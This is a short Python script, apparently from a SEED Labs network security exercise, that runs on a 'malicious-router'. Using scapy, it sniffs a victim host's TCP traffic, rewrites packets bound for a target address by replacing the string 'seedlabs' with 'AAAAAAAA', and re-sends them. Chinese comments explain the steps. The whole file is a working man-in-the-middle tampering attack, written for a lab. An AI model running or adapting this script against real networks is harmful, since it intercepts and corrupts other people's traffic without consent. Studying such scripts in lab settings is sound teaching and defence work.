25 lines
876 B
Python
25 lines
876 B
Python
#!/usr/bin/env python3
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from scapy.all import *
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def spoof_pkt(pkt):
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# 如果是发往目标 192.168.60.5 的 TCP 数据包
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if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
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newpkt = IP(bytes(pkt[IP]))
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del(newpkt.chksum)
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del(newpkt[TCP].payload)
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del(newpkt[TCP].chksum)
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if pkt[TCP].payload:
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data = pkt[TCP].payload.load
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print(f"Original data: {data}")
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# 修改内容，假设名字是 seedlabs -> AAAAAAAA
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newdata = data.replace(b'seedlabs', b'AAAAAAAA')
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send(newpkt/newdata, verbose=False)
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else:
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send(newpkt, verbose=False)
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# 过滤器只捕获受害者的包，避免拦截自己发出的包导致死循环
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f = 'tcp and src 10.9.0.5'
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print("MITM script starting on malicious-router...")
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sniff(iface='eth0', filter=f, prn=spoof_pkt)
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